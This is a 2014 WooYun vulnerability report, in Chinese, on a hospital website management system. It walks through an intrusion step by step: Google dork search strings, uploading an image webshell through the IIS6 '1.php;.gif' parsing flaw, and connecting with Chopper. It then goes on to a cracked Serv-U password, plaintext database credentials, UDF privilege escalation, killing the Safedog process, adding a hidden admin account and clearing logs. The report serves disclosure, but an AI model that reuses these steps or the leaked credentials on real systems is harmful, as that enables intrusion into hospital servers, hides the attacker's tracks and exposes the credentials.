漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-074392
漏洞标题：某医院管理系统图片上传漏洞
相关厂商：cncert国家互联网应急中心
漏洞作者： 路人甲
提交时间：2014-08-31 22:28
修复时间：2014-10-15 22:30
公开时间：2014-10-15 22:30
漏洞类型：
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-31： 细节已通知厂商并且等待厂商处理中
2014-09-05： 厂商已经确认，细节仅向厂商公开
2014-09-15： 细节向核心白帽子及相关领域专家公开
2014-09-25： 细节向普通白帽子公开
2014-10-05： 细节向实习白帽子公开
2014-10-15： 细节向公众公开
简要描述：
通过图片上传漏洞上传一句话图片马，iis6解析1.php;.gif执行马
详细说明：
通过图片上传漏洞上传一句话图片马，iis6解析1.php;.gif执行马
漏洞证明：
googel搜索关键字
inurl:website/html/?163.html
website/html/?161.html
company/html/129.htmljavascript:void(0)
eweb/html/?181.html
website/class/
产品名称 医院网站简体版网站制作系统 捆绑软件 医院网站简体版
http://www.tweb.tw/
建立试用网站，利用iis6的解析漏洞1.php;.gif上传图片一句话
进入管理后台
http://web.tweb.tw/chenjs(注册的用户)/adm/index.php
webmaster
你注册的用户名
上传后文件通用地址
http://mb35.cn/ss1234/templates/default/images/dama4.asp;.jpg(图片文件上传后的路径)。
http://xxo.com/xxxx/templates/default/phpdama.php;.html(模版文件上传后的路径)
我们的图片马地址
http://web.tweb.tw/testmister/templates/default/images/1.php;.gif
菜刀连接
浏览文件找到serv-u安装目录
User1=nickey|1|0
[USER=nickey|1]
Password=ma26DC6A55E01D6594443DE80175B400F0
破解md5得到密码 54145414
发现无法登陆ftp
浏览找到mysql数据库账户
D:\weboss\MediServ\eSite\config\dbsetup.php
<?php
#[数据库全权用户]
$RootUser="webboss";
$RootPass="1qaz2wsx";
?>
菜刀虚拟终端权限不足
Udf提权
将nickey加入远程桌面组，远程左面权限仍不够。
MyCmd ('net localgroup "Remote Desktop Users" nickey /add')
最后发现有安全狗禁用net命令，直接udf杀掉安全狗进程。Net user添加隐藏账号。
ghs0t$ xxoo321*
清除日志
Serv-u ftp破解日志
系统审核日志
安全狗日志
修复方案：
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2014-09-05 08:34
厂商回复：
CNVD确认所述情况，暂未建立与软件生产厂商的直接处置渠道，待认领。
最新状态：
暂无